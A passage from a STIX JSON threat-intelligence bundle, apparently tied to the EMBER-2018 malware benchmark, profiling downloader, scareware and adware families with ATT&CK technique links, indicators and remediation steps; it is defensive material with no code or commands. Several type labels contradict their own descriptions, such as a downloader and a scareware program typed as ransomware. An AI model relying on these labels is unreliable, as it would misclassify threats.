ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Sloddat receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Sloddat infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Sloddat executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Sloddat frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Sloddat",
        "Downloader.Sloddat",
        "Win32/Sloddat"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sloddat",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sloddat"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6b55b64d-8588-5f1f-9579-98d4bfd088f2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d2d89dde-b6b1-575b-82f4-ed019eaccc2e",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sloddat exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d9ccd5dd-99b7-5315-a4f7-7a54e6e21af9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d2d89dde-b6b1-575b-82f4-ed019eaccc2e",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sloddat exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--08a236ab-eb86-5b6e-a4ec-4b6a1c315274",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d2d89dde-b6b1-575b-82f4-ed019eaccc2e",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sloddat exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d9c5585c-7d62-55ed-8d52-bce9e996d087",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Slowpcfighter",
      "description": "Rogue:Win32/Slowpcfighter represents a classic example of **'Scareware' or Fake System Optimizers**. It is a deceptive program that masquerades as a legitimate Windows utility, antivirus, or registry cleaner. Its sole purpose is to perform a fabricated 'scan' of the system, report hundreds of non-existent critical errors or malware infections, and then aggressively demand that the user purchase a license to 'fix' the problems it just invented.<br><br><b>Understanding Slowpcfighter (Scareware)</b><br>To an end-user, Slowpcfighter is highly alarming. It utilizes deceptive UI design, flashing warning icons, and alarming language (e.g., 'CRITICAL SYSTEM FAILURE IMMINENT') to induce panic. It preys on the user's lack of technical knowledge. For a security analyst, Slowpcfighter is considered a Potentially Unwanted Program (PUP) or Rogue software. While it generally does not encrypt files or steal credentials like a true trojan, it significantly degrades the user experience and represents a successful social engineering attack.<br><br><b>Execution and Deception Mechanics</b><br>Slowpcfighter is typically distributed via deceptive web advertisements (malvertising), fake software update pop-ups, or bundled tightly with free software downloaded from unverified portals (`T1189`). Upon installation (`T1204.002`), it establishes persistence via the Registry Run keys to ensure it launches every time the computer boots (`T1547.001`). The software then initiates its fake scan, intentionally flagging benign temporary files or standard registry keys as 'Severe Threats'. It constantly generates intrusive pop-up notifications from the system tray (`T1491.001`). To further coerce the user, it may intentionally slow down the computer or block the execution of legitimate administrative tools (like Task Manager or Registry Editor), claiming those tools are 'infected', until the user inputs credit card information into its built-in payment portal.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is financial loss (fraudulent software purchase) and a severely degraded system. Host-based IoCs are obvious: the presence of a highly aggressive, unknown 'optimization' program launching on boot, constant system tray warnings, and the inability to run standard Windows troubleshooting tools. Network IoCs involve traffic to the rogue software's payment processing domains. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Slowpcfighter",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/slowpcfighter"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4655b59d-92c5-5a92-8de3-772f4775fbf1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d9c5585c-7d62-55ed-8d52-bce9e996d087",
      "target_ref": "attack-pattern--781c5255-115d-5757-8797-90b90215b35c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Slowpcfighter exhibits technique T1491.001 (Defacement: Internal Defacement (Fake alert pop-ups and UI))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--df9d1d2e-c84f-5d62-a8c3-4b375263e661",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d9c5585c-7d62-55ed-8d52-bce9e996d087",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Slowpcfighter exhibits technique T1204.002 (User Execution: Malicious File (User tricked into installing the software))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7e4999bc-7abb-5dc6-9e59-db5b6d1e12c0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d9c5585c-7d62-55ed-8d52-bce9e996d087",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Slowpcfighter exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Blocking Task Manager/Regedit))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--36de29fd-42f4-5b5f-a14e-2407bf1597d7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d9c5585c-7d62-55ed-8d52-bce9e996d087",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Slowpcfighter exhibits technique T1547.001 (Boot or Logon Autostart Execution)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--894ecf11-9130-57f8-a922-0377fc65d89f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Slugin",
      "description": "Slugin (documented across security intelligence catalogs under signatures including TrojanDownloader:Win32/Slugin, Trojan:Win32/Slugin, and Trojan.Slugin) is a stealthy modular trojan downloader and plugin injector active since 2015. Primarily distributed through infected freeware installers, trojanized utility bundles, and spear-phishing attachments, Slugin operates as a persistent staging vector for secondary crimeware and espionage payloads. Upon launching, Slugin performs anti-analysis checks, evades virtual machine environments, and installs persistence through Windows Registry Run keys or Task Scheduler entries. It contacts threat actor command-and-control servers using encrypted HTTP/HTTPS traffic to report host hardware information and system telemetry. Slugin dynamically requests, downloads, and loads modular binary plugins\u2014such as keystroke loggers, credential stealers, and proxy forwarders\u2014executing them directly in system memory via reflective DLL injection or process hollowing into legitimate Windows binaries. (Observed samples in benchmark: 31)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "TrojanDownloader:Win32/Slugin",
        "Trojan:Win32/Slugin",
        "Trojan.Slugin",
        "Win32/Slugin",
        "TrojanDownloader:Win32/Slugin.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Slugin",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/slugin"
        }
      ],
      "labels": [
        "trojan_downloader",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--771e620d-71ba-5956-b1a3-11d1cf4d40d8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Smal",
      "description": "Adware:Win32/Smal is an aggressive Potentially Unwanted Program (PUA) and adware family often bundled with free software. Its primary function is to silently install rogue browser extensions and intercept web traffic to inject intrusive advertisements and monitor user browsing habits, thereby generating illicit affiliate revenue and harvesting marketing data for the developers.<br><br><b>Understanding Smal Adware</b><br>To an end-user, a Smal infection is highly frustrating. Their familiar Google or Bing search engine is suddenly replaced by an unknown portal, their browser becomes sluggish, and they are bombarded with irrelevant, often deceptive banner ads perfectly targeted to their recent searches. For security analysts, it represents a classic Pay-Per-Install (PPI) monetization scheme combined with aggressive telemetry collection, utilizing persistence mechanisms to prevent easy removal.<br><br><b>Execution and Hijacking Mechanics</b><br>Smal is heavily distributed via deceptive software bundlers (`T1189`) found on third-party freeware sites. Upon execution, the installer uses 'Dark Patterns' to bypass user consent (`T1204.002`). It establishes persistence via Registry Run keys. It installs rogue Browser Helper Objects (BHOs) and extensions (`T1176`) to intercept all web traffic (`T1185`). Crucially, its 'spy' component aggressively logs search queries, visited URLs, and sometimes even form data, sending this telemetry back to the adware operators to serve highly targeted injected advertisements.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is a severely degraded user experience, compromised browsing privacy, and wasted helpdesk resources. Incident responders will observe anomalous HTTP/HTTPS traffic routing through known adware tracking networks, often containing base64-encoded strings of the user's browsing history in the URL parameters. EDR logs will flag the installation of the Smal extensions and the unauthorized modification of browser registry keys. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Smal",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/smal"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a21cec20-e346-5231-ac8a-7cde0feb814c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--771e620d-71ba-5956-b1a3-11d1cf4d40d8",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smal exhibits technique T1189 (Drive-by Compromise (Bundled Installers))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--be593b5d-c479-5d9b-ae30-07d4630300a5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--771e620d-71ba-5956-b1a3-11d1cf4d40d8",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smal exhibits technique T1176 (Browser Extensions (BHO installation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5d7c9b44-7ba6-55ca-9e49-0b3a23571710",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--771e620d-71ba-5956-b1a3-11d1cf4d40d8",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smal exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7d142e8a-9490-5b48-9225-d0a206232f5f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--771e620d-71ba-5956-b1a3-11d1cf4d40d8",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smal exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--327325f3-1596-51c8-b10e-7db499ad5591",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Smallhttp",
      "description": "HackTool:Win32/Smallhttp refers to highly compact, portable web server executables that are frequently dropped onto compromised machines by attackers during post-exploitation. While web servers are legitimate software, attackers use 'Smallhttp' utilities because they require no installation, leave minimal footprint, and can be instantly bound to a port to facilitate rapid data exfiltration (`T1041`) or internal payload staging for lateral movement.<br><br><b>Understanding Smallhttp (Staging and Exfiltration)</b><br>To an end-user, there is no visible impact. For a SOC analyst, the presence of an unexpected HTTP server running on an endpoint (especially a workstation) is a massive red flag. It indicates the attacker has bypassed initial defenses and is now establishing an internal staging area to move deeper into the network or preparing to steal large volumes of data.<br><br><b>Execution and Exploitation Mechanics</b><br>After gaining a shell on a machine (e.g., via a spearphishing macro or RDP brute force), the attacker drops a tiny HTTP server executable (often only a few kilobytes in size) into a hidden directory. They execute it via the command line, pointing it to a directory containing stolen data (like ZIP files of documents) (`T1560`). The attacker can then simply use `curl` or `wget` from another compromised machine (or externally, if the firewall allows) to download the stolen data over standard port 80/8080, masking the exfiltration as normal web traffic (`T1071.001`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is usually significant data loss or the facilitation of lateral movement. Host-based IoCs include EDR alerts for unknown executables binding to network ports (listening state) on workstations. Look for processes like `svchost.exe` or `cmd.exe` spawning an unknown binary with command-line arguments specifying a port and directory path. Network IoCs include a sudden spike in outbound HTTP GET requests originating *from* the compromised workstation to external IPs, or unusual internal HTTP traffic between workstations. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Smallhttp",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/smallhttp"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5e1fbedd-d1a8-5bcc-95a9-f365f1c3bf31",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--327325f3-1596-51c8-b10e-7db499ad5591",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smallhttp exhibits technique T1041 (Exfiltration Over C2 Channel (Using the HTTP server to serve stolen files))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d39be306-f467-575b-b9f0-e65c85990ccc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--327325f3-1596-51c8-b10e-7db499ad5591",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smallhttp exhibits technique T1105 (Ingress Tool Transfer (Serving tools internally to other compromised hosts))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b6500a14-902b-5e6c-b4d0-d31e9fa3f955",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--327325f3-1596-51c8-b10e-7db499ad5591",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smallhttp exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (Disguising data movement as standard HTTP traffic))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fb2a7d3d-69a6-513c-9698-4ac1509683fc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Smalo",
      "description": "Trojan:Win32/Smalo is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Smalo</b><br>To an end-user, a Smalo infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Smalo is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Smalo is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Smalo frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Smalo reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Smalo",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/smalo"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ae108b5a-77de-55e9-a673-ecfe6d38e018",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fb2a7d3d-69a6-513c-9698-4ac1509683fc",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smalo exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b9b0915a-dc84-5b62-b63d-0f912241f16a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fb2a7d3d-69a6-513c-9698-4ac1509683fc",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smalo exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f0fb9b54-8304-5c09-a37a-bcd57bfa3f62",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fb2a7d3d-69a6-513c-9698-4ac1509683fc",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smalo exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c6823974-e386-537e-a8a6-8d1713101b5f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fb2a7d3d-69a6-513c-9698-4ac1509683fc",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smalo exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6322275c-13d5-52d3-a540-ee92381aca5a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fb2a7d3d-69a6-513c-9698-4ac1509683fc",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smalo exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9ef23c3b-6d75-5f62-ba30-5dfa7b66d25a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Smartapplicationcontroller",
      "description": "<h3>Executive Summary</h3>\nSmartApplicationController (often detected as Rogue.SmartAppControl or PUP.SmartController) is a deceptive Potentially Unwanted Program (PUP) operating as \"Rogue Security Software.\" It employs scareware tactics, masquerading as a legitimate Windows security component or system optimizer. It performs fabricated system \"scans\" to generate alarming false-positive reports about severe malware infections or critical registry errors, with the sole objective of frightening the user into purchasing a fraudulent \"premium license.\"\n\n<h3>Infection Vector and Technical Capabilities</h3>\nSmartApplicationController relies almost entirely on aggressive malvertising and deceptive software bundling. Users typically encounter it via alarming, full-screen browser pop-ups claiming their \"PC is critically infected\" or when downloading freeware from third-party aggregators, where the fake AV is installed silently alongside the desired software.\n\nOnce installed, the software employs highly aggressive extortion tactics:\n<ul>\n<li><strong>Deceptive UI and Scareware Tactics:</strong> The application is designed to mimic the graphical user interface of legitimate Windows components (like Windows Defender or User Account Control). It launches automatically and invariably reports numerous critical (but non-existent) security threats.</li>\n<li><strong>System Hostage (Locking):</strong> Aggressive variants employ system-locking tactics. They may constantly overlay the screen with warnings, disable the Windows Task Manager, or block the execution of legitimate executable files (claiming they are \"infected\"), effectively holding the user's workflow hostage.</li>\n<li><strong>Persistent Nagging:</strong> The software establishes persistence via registry `Run` keys and scheduled tasks, ensuring that it repeatedly interrupts workflow with high-pressure purchase prompts demanding credit card information.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile technically not destructive malware like a file-encrypting ransomware, SmartApplicationController poses a severe threat to user productivity and financial security (extortion). The aggressive system locking mechanisms cause massive IT helpdesk overhead, and users may unwittingly hand over valid credit card details to cybercriminals.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Safe Mode Execution:</strong> Due to the aggressive screen-locking and self-defense mechanisms that block executable launches, it is almost always necessary to boot the infected machine into Windows \"Safe Mode with Networking\" to prevent the scareware from launching before attempting removal.</li>\n<li><strong>Targeted Anti-Malware Scan:</strong> Utilize a reputable enterprise anti-malware solution (specifically tuned for Rogue Software and Scareware removal, such as Malwarebytes) to scan for and remove the deeply embedded registry keys and scheduled tasks associated with the PUP.</li>\n<li><strong>Financial Dispute:</strong> If the user was tricked into purchasing the fake software, advise them to immediately contact their credit card company to dispute the fraudulent charge.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Rogue.SmartAppControl",
        "PUP.FakeAV",
        "Scareware.Win32"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Smartapplicationcontroller",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/smartapplicationcontroller"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--12cc4ffd-7de9-5cbf-8e45-41fc6bd3a73a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9ef23c3b-6d75-5f62-ba30-5dfa7b66d25a",
      "target_ref": "attack-pattern--c79f8b9c-f6e3-550e-85cc-41fb2ac75634",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smartapplicationcontroller exhibits technique T1491 (Defacement (Displaying fake security warnings / Scareware))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ba531879-25f0-595c-bcbe-afb11827682d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9ef23c3b-6d75-5f62-ba30-5dfa7b66d25a",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smartapplicationcontroller exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2a28325c-0a80-5a94-a7a9-969a7c3e2530",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9ef23c3b-6d75-5f62-ba30-5dfa7b66d25a",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Smartapplicationcontroller exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--70b5617f-395d-557f-92e4-cce748367bf9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Smartapps",
      "description": "Adware:Win32/Smartapps is a widespread Potentially Unwanted Program (PUA) and adware bundler framework. It is designed to act as an aggressive installer wrapper that delivers a payload of legitimate freeware alongside multiple, hidden adware applications, browser hijackers, and tracking cookies.<br><br><b>Understanding Smartapps</b><br>To an end-user, Smartapps simply looks like the setup wizard for a free program they intentionally downloaded (like a PDF converter or a game). However, the wizard is heavily laden with 'Dark Patterns'\u2014pre-checked consent boxes hidden under 'Advanced' settings. For security analysts, Smartapps is a primary delivery mechanism for the Pay-Per-Install (PPI) adware ecosystem. The creator of the wrapper gets paid by various adware vendors for every machine they successfully infect.<br><br><b>Execution and Bundling Mechanics</b><br>The user initiates the infection by running the downloaded installer (`T1204.002`). Smartapps immediately reaches out to a remote C2 server to fetch the latest list of 'offers' (adware payloads) tailored to the user's geolocation (`T1105`). If the user rapidly clicks 'Next' through the installation, it silently drops and executes multiple secondary MSIs or EXEs (`T1059.004`). These secondary payloads typically install rogue browser extensions (`T1176`), modify the browser's default search engine (`T1112`), and establish persistence via Scheduled Tasks to ensure the adware is reinstalled if removed.<br><br><b>Indicators of Compromise & Impact</b><br>The immediate impact is a severely degraded browsing experience, characterized by pop-up ads, redirected searches, and sluggish system performance. Incident responders will observe a sudden spike in DNS requests to known adware domains immediately following the execution of a newly downloaded installer. EDR logs will flag the original installer process spawning multiple child processes (the adware droppers) that subsequently modify browser preference files and Registry run keys. (Observed samples in benchmark: 11)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
